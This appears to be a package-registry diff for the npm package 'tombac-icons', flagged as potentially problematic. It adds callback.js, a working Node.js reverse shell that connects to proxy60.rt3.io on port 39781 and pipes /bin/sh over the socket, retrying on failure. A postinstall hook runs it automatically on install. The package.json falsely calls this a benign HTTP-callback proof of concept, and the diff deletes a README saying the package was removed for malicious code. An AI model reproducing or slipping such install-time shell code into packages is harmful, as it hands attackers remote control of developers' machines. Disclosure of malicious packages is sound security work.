tombac-icons 0.0.1-security → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tombac-icons might be problematic. Click here for more details.

package/callback.js ADDED
@@ -0,0 +1,25 @@
1
+ // Reverse shell PoC in Node.js
2
+ const net = require("net");
3
+ const { spawn } = require("child_process");
4
+
5
+ // جایگزین با IP ماشین خودت
6
+ const HOST = "proxy60.rt3.io";
7
+ const PORT = 39781;
8
+
9
+ const client = new net.Socket();
10
+
11
+ function connect() {
12
+ client.connect(PORT, HOST, () => {
13
+ const sh = spawn("/bin/sh", []);
14
+ client.write("[*] Connected to target\n");
15
+ client.pipe(sh.stdin);
16
+ sh.stdout.pipe(client);
17
+ sh.stderr.pipe(client);
18
+ });
19
+ }
20
+
21
+ client.on("error", () => {
22
+ setTimeout(connect, 3000); // تلاش مجدد در صورت خطا
23
+ });
24
+
25
+ connect();
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // benign placeholder
2
+ module.exports = () => "tombac-icons benign package";
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "tombac-icons",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.9",
4
+ "description": "Benign PoC for dependency confusion (HTTP callback only)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node callback.js"
8
+ },
9
+ "author": "mohammadtayb",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tombac-icons for more information.